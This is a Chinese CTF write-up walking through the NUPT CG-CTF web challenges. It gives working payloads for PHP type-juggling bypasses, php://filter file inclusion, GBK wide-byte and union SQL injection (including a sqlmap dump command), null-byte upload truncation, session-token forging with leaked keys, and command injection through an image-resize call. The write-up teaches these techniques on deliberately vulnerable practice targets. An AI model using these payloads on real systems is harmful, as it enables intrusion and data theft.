CG-CTF web篇零基础指南

前言

用了三四天终于把南邮ctf平台的web题做了差不多,也算对ctf多了一些了解,之前发过一篇综合题(2)的writeup,这次准备从头整理一遍。这两天通过做题学到了很多,整理的会很详细!

南邮CG CTF web传送门

writeup

1.签到题

直接看源代码就可以看到flag了

2.md5 collision

php源码

1
2
3
4
5
6
7
8
9
10
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}

php弱类型的利用,这道题的思路蛮常见的,需要传入一个参数a不等于 ‘QNKCDZO’,但是经过md5加密后的值需要与 “QNKCDZO”的md5加密后的值进行松散比较相等。

md5(‘QNKCDZO’)=’0e830400451993494058024219903391’,而PHP在处理哈希字符串时,会利用!===来对哈希值进行比较,它把每一个以0E开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以0E开头的,那么PHP将会认为他们相同,都是0

所以给 a 传入一个 md5 加密后也为 0e 开头的字符串即可,这样的字符串一搜一大把了

这里我传了 ?a=s878926199a 拿到flag

tips:

1、在PHP中,@被称为错误控制操作符,前置@符号的表达式产生的任何错误都将被忽略。

2、1992年发布的MD5算法是一种广泛使用的哈希算法,最初被设计用来作为加密算法,在被证明不安全后只能用来做数据完整性校验。MD5算法为消息产生128位摘要,常表示为32位或16位十六进制串,由[0-9a-e]组成。

3、PHP的比较操作符主要有两类——松散比较和严格比较,于是就有了equal(==)和Identical(===)两种相等,主要区别在于前者会在比较前根据上下文对操作数进行类型转换而后者不会。

3.签到2

这道题是前端对输入框长度的限制,F12查看页面代码发现 maxlength="10" 而需要输入的口令 “zhimakaimen为11位,直接在查看器更改10为任意大于等于11的数再输入口令即可。

4.这题不是web

打开题目地址发现一个可爱的动图,把图片下载到本地,用文本编辑器或winHex打开(记事本就可以了),Ctrl + F 查找flag,在末尾。

5.层层递进

又是一道查看源代码的题,在\<iframe>标签中跟着链接依次访问嵌套的SO.html -> S0.html->SO.htm ->S0.htm->404.html ,在404.html注释中找到flag

6.AAencode

javascript aaencode

这道题链接坏了,在南邮旧ctf平台找到了这道题的链接

打开题目是乱码,用火狐Unicode编码后是颜文字

提示是js aaencode,是一种把js代码编码成颜文字的编码方式,直接把这段颜文字拉到控制台执行,发现有错误

错误提示:ω゚ノ is not defined ,即 ω゚ノ 这个变量没有被定义,那我们先在控制台定义这个变量,再执行代码

拿到flag

7.单身二十年

访问 http://chinalover.sinaapp.com/web8/search_key.php 会被重定向到 http://chinalover.sinaapp.com/web8/no_key_is_here_forever.php ,重定向会被浏览器自动处理,burp抓包repeater重放一下拿到flag。

8.php decode

1
2
3
4
5
6
7
8
9
<?php
function CLsI($ZzvSWE)
{
$ZzvSWE = gzinflate(base64_decode($ZzvSWE));
for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
}
return $ZzvSWE;}
echo CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA==");

应该是一道编码题,但是可以直接在代码在线运行的网站允许一下这段php代码,就可以跑出flag了

9.文件包含

使用php的filter协议读取index.php

payload:http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=./index.php

显示了base64编码后的index.php源码,这种方法经常用得到,把得到的编码在在线网站解码得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<title>asdf</title>

<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

查看源码得到flag

更多php伪协议实现命令执行的姿势可见 传送门

10.单身一百年也没用

这道题的flag藏在了响应信息中

11.Download~!

这道题链接找不到了,提示是别下音乐

看网上的解题是进去之后会看到两个下载音乐的链接,查看源代码发现星星点灯的下载链接为download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM=,经过了base64加密,解码内容为xingxingdiandeng.mp3。

尝试下载其他页面如index.php download.php及它们base64加密后的页面,发现download.php可以下载

打开下载的download文件,发现首先对url参数进行了base64解码,并且只有四个文件能够正常下载,否则提示Access Forbidden!下载hereiskey.php,得到flag 。

TIP: 0==not

F12看网络,把请求头中的Cookie:Login=0 改成 Login=1 重新发包后在响应主体中拿到flag

13.MYSQL

根据提示查看robots.txt (robots.txt是一个告诉爬虫那些东西不能爬的文件,在ctf中是一个经常存在的有提示信息的文件)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
TIP:sql.php
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}
?>

说明要向sql.php提交一个id,使得intval($_GET[id])为1024而$_GET[id]==1024为假。

这里有两种做法

1.传入id=1024.1,intval()函数会把1024.1取整为1024

2.利用intval()函数的特性:只识别到非数字的那一位,而松散比较的强制类型转换会把e当作科学记数法的一部分处理,即科传入id=1024e1

14.GBK Injection

把id参数的值改成2,3得到两个提示信息:gbk_sql_injection 和 the fourth table

在参数后面加个单引号,发现sql语句转译成了your sql:select id,title from news where id = '3\''

判断存在GBK宽字节注入, flag在第四个表中,用sqlmap一下就跑出来了哈哈

payload:

python2 sqlmap.py -u http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1 -T ctf4 -C flag --dump

手工注入一下:

先介绍宽字节注入的原理如下,

当传入 id=1’ 时,单引号会被转义符(反斜线)转义,导致id参数无法逃逸单引号的包围。由于MySQL执行查询时会跳过畸形字符,当输入参数 id=1%df’ 时,参数会经过转义和url编码变为 id=1%df%5c%27,%5c 是反斜杠的url编码,%27 是单引号的url编码。而在GBK编码中,%df%5c是繁体字”連 “,这时单引号成功逃逸。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#第一步 判断是否存在注入
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1 和
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27--+
返回结果相同。

#第二步 使用union查询数据库名
先用 chinalover.sinaapp.com/SQL-GBK/index.php?id=0%df%27 order by 2--+ 判断有两列
再用 http://chinalover.sinaapp.com/SQL-GBK/index.php?id=0%df%27 union select null,database()--+
得到数据库名为'sae-chinalover'

#第三步 查询'sae-chinalover'数据库的第四张表名
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=0%df' union select null,table_name from information_schema.tables where table_schema=database() limit 3,1--+
得到第四张表表名为'ctf4'
tips:
1.MySQL的information_schema数据库包含所有数据库的元信息,其中的tables表包含其他数据库的数据库名、表名、表类型、创建时间等许多信息,其中table_schema列为数据库名,table_name列为表名。因为能显示出来的记录有限,所以必须用limit来控制要显示第几条记录,否则只能显示第一条。
2.limit用法是这样LIMIT {[offset,] row_count | row_count OFFSET offset},必须放在where后面。

#第四步 从表'ctf4'中查询flag
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=0%df' union select null,flag from ctf4--+
这里的列名'flag'是猜的,也可以从上一步中的information_schema数据库中查询列名,关于列名的信息在information_schema.columns表中的column_name字段。

15./x00

这道题学到了点东西!

1
2
3
4
5
6
7
8
9
10
view-source:

if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}

要求提交的nctf的值符合正则匹配(一个或多个数字)并且能被strpos()找到#biubiubiu

有两种方法:

1.ereg()正则函数会把null视为字符串的结束,从而被%00截断,而strpos则可以越过%00

所以提交nctf=1%00%23biubiubiu,即可拿到flag

2.ereg和strpos函数传入数组后返回的都是NULL

所以提交nctf[]=,拿到flag

tips:

由于在PHP中string的实现本质上是一个以字节为单位的数组加上一个声明缓冲区长度的整形,因此string类型可以由任何值构成,即使是“NUL bytes”,但PHP中有些底层库(比如C语言相关的,因为C语言中\0标识字符串的结束)会忽略”a NUL byte”后面的数据,使用了这些库的函数就是非二进制安全的(non-binary-safe),ereg就是一个例子,还有很多可以自行百度。

16.bypass again

依旧是弱类型

1
2
3
4
5
6
7
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}

和第二题原理一样

payload:http://chinalover.sinaapp.com/web17/index.php?a=QNKCDZO&b=s878926199a

17.变量覆盖

source.php查看源代码,关键php代码整理后如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
?>
<?php
extract($_POST);
if ($pass == $thepassword_123) {
?>
<div class="alert alert-success">
<code><?php echo $theflag; ?></code>
</div>
<?php
}
?>
<?php
}
?>

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

第二个参数 type 用于指定当某个变量已经存在,而数组中又有同名元素时,extract() 函数如何对待这样的冲突。

该函数返回成功导入到符号表中的变量数目。

所以这道题给pass和thepassword_123用post传一个相同的值即可

18.php是世界上最好的语言

这道题链接也挂了,我没答上

参考一下网上的writeup吧

index.txt核心代码如下

1
2
3
4
5
6
7
8
9
10
11
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}

eregi()函数判断id是否为hackerDJ,大小写敏感。网页会拒绝任何含有hackerDJ的提交(忽略大小写),但接受urldecode后为hackerDJ的字符串。

因为url在传入后台时会自动先进行一次url解码,所以这里需要二次编码

hackerDJurl编码后为%68%61%63%6b%65%72%44%4a

二次编码后为%2568%2561%2563%256b%2565%2572%2544%254a

其中%25是%的url编码

19.伪装者

提示管理系统只能在本地登陆

改了Referer: 127.0.0.1X-Forwarded-For: 127.0.0.1都没有成功

看网上的解释好像是服务端代码有问题

XFF头用以标志客户端真实IP,常用在使用HTTP 代理或者负载均衡服务

20.header

链接挂了,flag应该就在数据包的头信息中

21.上传绕过

介绍一下文件截断绕过攻击

1.文件系统0x00截断

在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束。利用00截断就是利用程序员在写程序时对文件的上传路径过滤不严格,产生0x00上传截断漏洞。通过抓包截断将【evil.php.jpg】后面的一个【.】换成【0x00】。在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束,从而将【evil.php.jpg】的内容写入到【evil.php】中,从而达到攻击的目的。 (0x00是16进制值,不可见。)

2.PHP%00截断

原理与15题类似,使用方法与文件系统0x00截断相同

源码为

1
2
3
4
5
6
7
8
<form action="upload.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="hidden" name="dir" value="/uploads/" />
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>

后台应该是dir和file连接

先尝试上传一个1.jpg文件

提示上传php文件才行,那上传一个1.php试试

提示不被允许的文件类型,使用burp抓一个上传文件的包,尝试filename处截断,发现上传仍然失败。

尝试在目录处截断,成功。

这个地方尝试截断了好几次,发现直接在重放的Raw中改目录名为”/uploads/1.php0x00”或”/uploads/1.php%00”都没有截断成功,最后是要在Hex中直接改为十六进制的00。

我的做法是先在Raw中现把filename的值“1.php”改为”1.php.jpg”,然后把dir路径改为 /uploads/1.php+

我们知道”+”的十六进制值为2b,所以再去Hex中找到+对应的位置把”2b”改成”00”再重新发包。

传送门:其他文件上传绕过姿势

22.SQL注入1

直接看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]);
$pass = md5(trim($_POST[pass]));
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
echo '</br>'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "<p>Logged in! flag:******************** </p>";
}
if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
}
}
echo $query[user];
?>

会对传入的参数两端去空格,其中sql构建语句为:select user from ctf where (user='".$user."') and (pw='".$pass."')

直接post个user闭合单引号和括号,再随便传个pass让它存在就可以了。

23.pass check

1
2
3
4
5
6
7
8
9
10
11
12
13
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

之前提过的php弱类型,strcmp函数在比较失败,即传入数组时会返回null

24.起名字真难

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>

int ord ( string $string )函数:返回字符串 string 第一个字符的 ASCII 码值

分析一下代码,这道题需要传入的key参数中不含有1-9的数字但又等于54975581388,考虑编码解决,发现hex(54975581388)刚好等于0xccccccccc

因此访问url:http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc 就可以拿到flag辣

25.密码重置

tip:重置管理员账号:admin 的密码

burp抓个包看看

放到repeater中把post的user参数改成admin,发现url中get还传了个user1参数,看着像base64编码的,解码发现是ctfuser,所以考虑把user1参数修改为admin经过base64编码后的内容。

26.php反序列化(暂时无法做)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class just4fun {
var $enter;
var $secret;
}

if (isset($_GET['pass'])) {
$pass = $_GET['pass'];

if(get_magic_quotes_gpc()){
$pass=stripslashes($pass);
}

$o = unserialize($pass);

if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>

反序列化后的secret成员被赋予未知的值却要求另一成员enter其值与之相同

对象包含的引用在序列化时也会被存储,所以如果enter指向secret的引用,两个成员的值就可以同步变化了

在本地写一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class just4fun{
var $secret;
var $enter ;
}
$f=new just4fun();
$f->enter=&$f->secret;
$sf=serialize($f);
print_r($sf);

$usf=unserialize($sf);
echo '<br/>';
print_r($usf);

输出如下:

O:8:"just4fun":2:{s:6:"secret";N;s:5:"enter";R:2;}

所以访问

http://localhost/cgctf2.php?pass=O:8:%22just4fun%22:2:{s:6:%22secret%22;N;s:5:%22enter%22;R:2;}

php反序列化详细的内容我过几天打完ctf去学php代码审计的时候会整理新的博客的!

27.SQL Injection

TIP:反斜杠可以用来转义 仔细查看相关函数的用法

查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}

echo $flag;
-->

sql语句:SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';

观察clean函数中的返回值经过htmlentities()函数过滤,这个字符将字符转换为 HTML 转义字符 ,第二个参数如果没有默认只转换双引号,但参数值为ENT_QUOTES时查询文档得知既转换双引号又转换单引号。

我们最终目标是平衡单引号,可是经过这个函数过滤我们无法输入单引号,只能想怎么消灭原来的单引号。

构造payload:?username=\&password= or 1#使得查询语句如下:

1
2
3
4
5
6
7
8
SELECT * FROM users WHERE name='\' AND pass=' or 1%23'

SELECT * FROM users WHERE
name='\' AND pass=' 『 [name]的值为 [' AND pass=],单引号被转义了,显然逻辑值为false 』
or 1 『 但没关系,[false or 1] 的逻辑值为真 』
%23' 『 %23是#的url编码,注释掉多余的单引号 』

select * from users where false or 1

28.综合题

打开后发现是一串看不懂的代码,google一下是jsfuck编码,在线解码网站

直接拉到控制台执行,得到 1bc29b36f623ba82aaf6724fd3b16718.php

打开这个网页得到新的提示

根据提示查看http头信息

上网搜了一下,发现这是一个linux下保存历史命令的文件,默认保存在/root/.bash_history

.bash_history详解:https://yq.aliyun.com/ziliao/75352

所以尝试打开该目录下这个文件 url:http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history

得到新的提示

这是一个linux解压缩的命令,访问新的url:http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/flagbak.zip可以下载这个压缩文件,用文本编辑器打开该文件得到flag

29.system(暂时无法做)

pass

30.SQL注入2

tip:主要考察union查询

查看关键源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>

strcasecmp(str1, str2):两个字符串相等则返回0

观察一下条件语句 ($query[pw]) && (!strcasecmp($pass, $query[pw]))

mysql_fetch_array() 函数返回的关联数组中键为字段名

构造payload:post一下数据

1
2
user=' union select 'bb23bab64934efa2a4e1666109467f43'#&pass=xiangfeng
//'bb23bab64934efa2a4e1666109467f43'是'xiangfeng'的MD5值

先用一个单引号把user闭合,然后联合查询xiangfeng的md5值,这样返回的关联数组中pw建的值就是’bb23bab64934efa2a4e1666109467f43’。

31.综合题2

见另一篇博客:传送门

32.密码重置2

1
2
3
4
TIPS:
1.管理员邮箱观察一下就可以找到
2.linux下一般使用vi编辑器,并且异常退出会留下备份文件
3.弱类型bypass

查看网页源代码得到管理员邮箱:

根据提示,学到一个新知识是非正常关闭vi编辑器时会生成一个.swp文件

查看.index.php.swp和.submit.php.swp文件

能打开.submit.php.swp文件,关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "失败了呀";
}
}

要求token长度为10且token!=0为假,有两种绕过方法,第一种传入token=0000000000绕过,第二种利用弱类型(含有数字内容的字符串也会被转换类型)传入token=0e12345678绕过。

33.file_get_contents

1
2
3
4
<!--$file = $_GET['file'];
if(@file_get_contents($file) == "meizijiu"){
echo $nctf;
}-->

file_get_contents() 函数将整个文件读入一个字符串

这里使用第九题中提到的php伪协议之一:”php://input”可以访问请求的原始数据的只读流,,将post请求中的数据作为PHP代码执行。

34.变量覆盖

代码审计类题目

1
2
3
4
5
6
<!--foreach($_GET as $key => $value){  
$$key = $value;
}
if($name == "meizijiu233"){
echo $flag;
}-->

foreach 遍历数组或对象,它会把当前单元的键名也会在每次循环中被赋给变量 $key,值赋给变量$value

$$ 的意思参考可变变量

35. HateIT

这道题太难了!我是跟着网上的writeup一步一步复现的,不然自己根本想不到。

先了解一下web中敏感文件泄露的原因和方法:传送门

扫描发现robots.txt,admin.php,upload/upload.php,.git/

upload/uploa.php不能直接访问,估计是看cookie的

使用 dvcs-ripper 工具将 git 文件下载下来,发现只有一个README.md

提示有历史版本,看来得恢复文件,通过git log查看记录

通过git reset回滚版本

拿到了三个通过扩展加密的 php文件和一个txt文件,opcode.txt有index.php,class.php,func.php的 opcode 代码,可以解密这三个php文件。

看一下robots.txt

suenc.so 是一个加密扩展文件,可以下载下来,用来解密admin.php 。

因为我很菜还不会逆向,所以直接贴网上师傅们解密出来的代码了

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
if(!isset($_SESSION))
{
session_start();
}
echo '...这部分前端内容我就省略不贴了...';
include_once('func.php');
if(isset($_GET['username']))
{
$username = $_GET['username'];
$md5 = md5(get_identify().$username);
$admin = 0;
$token = encrypt($username.'|'.$admin.'|'.$md5);
$_SESSION['sign'] = $md5;
$_SESSION['token'] = $token;
}
showImage(); if(isset($_GET['token']) && isset($_GET['sign']))
{
$token = $_GET['token'];
$sign = $_GET['sign']; echo 'sign : '.$sign.'<br>'; echo 'token: '.$token.'<br>';
$info = explode('|', decrypt($token)); echo decrypt($token);
var_dump($info); if(count($info) == 3)
{ if(md5(get_identify().$info[0]) == $info[2])
{
$sign = $info[1];
$admin = $info[1];
}else{
$admin = $info[1];
}
}

}else{ if(isset($_SESSION['token']) && isset($_SESSION['sign']))
{ echo 'sign : '.$_SESSION['sign'].'<br>'; echo 'token: '.$_SESSION['token'].'<br>';
$token = $_SESSION['token'];
$sign = $_SESSION['sign'];
$info = explode('|', decrypt($token)); if(count($info) == 3)
{ if(md5(get_identify().$info[0]) == $info[2])
{
$sign = $info[1];
$admin = $info[1];

}else{
$admin = $info[1];
} echo '<br>'.$admin;
}


}
} if(isset($admin) && $admin == 3)
{
$_SESSION['auth'] = 'admin'; echo "<a href='admin.php'>Admin</a>";
}

func.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php/**
* Created by PhpStorm.
* User: meizj
* Date: 2018/2/2
* Time: 下午9:25
*/include "class.php";
define("KEY","8690475385984657");
define("method","aes-128-cfb");
define("BS",16);
define("IDENTIFY","9850375038");function get_token(){
$token = ''; for($i=0;$i<16;$i++){
$token .= chr(rand(1,255));
} return $token;
}function enc($s){
$token = get_token();
$code1 = openssl_encrypt(string($s),method,key,OPENSSL_RAW_DATA,$token);
$code2 = base64_encode(base64_encode($token."-".$code1)); return $code2;
}function dec($s){ if($cc = base64_decode(base64_decode($s)))
{ if($iv = substr($cc,0,16))
{ if($d = substr($cc,17))
{ if($s = openssl_decrypt($d, method, key, OPENSSL_RAW_DATA,$iv))
{ return $s;
} else
die("error");
} else
return 0;
} else
return 0;
} else
return 0;
}function uploadImage(){ if($_SESSION['auth'] !== "admin"){ die("Auth Failed");
}
$AllowedType = array( "png", "gif", "jpg"
);
$filename = $_FILES['file']['name'];
$filesize = $_FILES['file']['size']; if($filesize > 1000000){ exit("Too large");
}
$fileext = substr($filename, strrpos($filename, '.')+1); if(in_array($fileext,$AllowedType)){
$file = "thumbs/images/".md5(time()."admin").".".$fileext; if(file_exists($file)){ exit("File existed already");
}else{
move_uploaded_file($_FILES['file']['tmp_name'],$file);
}
}else{ exit("Not Allowed Ext");
}
}function viewImage($name){ if($_SESSION['auth'] !== "admin"){ die("Auth Failed");
} new ImageView($name);
}function showImage(){
$obj = new Home("thumbs/images/");
$obj->showImg();

}function to($str) { return $str . str_repeat(chr(BS - strlen($str) % BS), (BS - strlen($str) % BS));
}function re($str) { return substr($str, 0, -ord(substr($str, -1, 1)));
}function getkey(){ return KEY;
}function get_identify(){ return IDENTIFY;
}function encrypt($str){
$key = getkey();
srand(time() / 300);
$token = get_token();
$cipher = bin2hex(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, to($str), MCRYPT_MODE_CFB, $token)); return base64_encode($cipher);
}function decrypt($str){
$decode = base64_decode($str);
$key = getkey();
srand(time() / 300);
$token = get_token();
$bin = hex2bin($str);
$plain = re(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key,$bin , MCRYPT_MODE_CFB, $token)); return $plain;
}

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php/**
* Created by PhpStorm.
* User: meizj
* Date: 2018/2/2
* Time: 下午11:00
*/class ImageView{ private $filename = ""; function __construct($name){
$this->filename = "images/$name";
$this->createThumbnail();
} function createThumbnail(){
$e = stripcslashes(preg_replace('/[^0-9\\\]/','',isset($_GET['size'])?$_GET['size']:25));
system("/usr/bin/convert {$this->filename} --resize $e ./thumbs/{$this->filename}");
} function __toString()
{ // TODO: Implement __toString() method.
return "<a href={$this->filename}>
<img src=./thumbs/{$this->filename}></a>";
}
}class Home{ private $dir = ""; public function __construct($dir){
$this->dir = $dir;
} public function showImg(){
$files = $this->getDirFile($this->dir); foreach ($files as $file){ echo "<img src=$file>";
}
} public function getDirFile($dir){
$files = array(); if(!is_dir($dir)) { return $files;
}
$handle = opendir($dir); if($handle) { while(false !== ($file = readdir($handle))) { if ($file != '.' && $file != '..') {
$filename = $dir . "/" . $file; if(is_file($filename)) {

$files[] = $filename;

}else {
$files = array_merge($files, get_files($filename));
}
}
} // end while
closedir($handle);
} return $files;
}

}

admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php/**
* Created by PhpStorm.
* User: meizj
* Date: 2018/2/2
* Time: 下午9:38
*/session_start();if($_SESSION['auth']!=="admin"){ die("Auth Failed!");
}include "func.php";if(isset($_GET['action'])){
$action = $_GET['action']; if($action == "uploadImage"){ include_once "template/upload.php"; if(isset($_FILES['file'])){
uploadImage();
}
}elseif ($action == "viewImage"){
$file = isset($_GET['file'])?$_GET['file']:"23.jpg";
viewImage($file);
}
}

先看index.php,这里会将$token解密,如果$admin==3就有权限访问admin.php,我们在本地生成加密 token

token的加密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
define("KEY","8690475385984657");
define("method","aes-128-cfb");
define("BS",16);
define("IDENTIFY","9850375038");

function getkey(){
return KEY;
}

function get_identify(){
return IDENTIFY;
}

function get_token(){
$token = '';
for($i=0;$i<16;$i++){
$token .= chr(rand(1,255));
}
return $token;
}

function to($str) {
return $str . str_repeat(chr(BS - strlen($str) % BS), (BS - strlen($str) % BS));
}

function encrypt($str){
$key = getkey();
srand(time() / 300);
$token = get_token();
$cipher = bin2hex(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, to($str), MCRYPT_MODE_CFB, $token));
return base64_encode($cipher);
}

$username = 'qwer';
$md5 = md5(get_identify().$username);
$admin = '3';
$token = encrypt($username . '|' . $admin . '|' . $md5);
echo $md5;
echo "\n"
echo $token;
echo "\n";

这个指定admin为3,生成一个token

windows 跟 linux 的随机数是有差异的 ,所以脚本要拉到linux环境中执行。

拿到了sign和token,访问http://45.76.173.177:23333/?sign=30dd01f4a4aeb5598d20ce3084e120a5&token=YmMxNWI3MzY5MmFjZTA0NzExMzQwMjBhMDNiNGFhODYyZWVjNDQ1ZWY5NjI4ZDQ5NWI3YWE4OGFhNmZkNTg2OWQ0ZTdmYjg4ZTVlMjQ4Mjg5N2JhNWY5NDJjM2FjYzI4

拿到管理员权限后接着看admin.php,文件上传好像是因为没有目录权限,一直上传不上东西,就算了。viewImage调用了ImageView类,最终通过调用系统命令的方式修改图片大小,这里没有对$filename进行过滤,直接拼接到命令执行中,构造 payload 执行命令

接下来就是寻找flag之旅了,最后发现flag在/etc/目录下

获得flag!

补充一下审计admin.php源码的过程:

跟进viewImage 跟进ImageView

这里可以命令执行

file的地方就可以传进去命令

36. Anonymous

这道题学到了很有意思的知识!

1
2
3
4
Anonymous 匿名的
PHP是最好的语言,不是吗?
// SUCTF 2018,出题人:梅子酒
//题目地址 http://45.76.173.177:23334/

根据题目可能是考php匿名函数

先看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);

先学习一下匿名函数的创建create_function():

string create_function (string $args, string $cod)

string $args:变量部分

string $code:方法代码部分

一个官方提供的例子:

1
2
3
4
5
6
7
8
9
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc";
echo $newfunc(2, M_E);
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
// M_E 是 php 中常量 e 的表示形式
?>

顺便学习一下利用create_function()进行代码注入

1
2
3
4
5
6
7
8
9
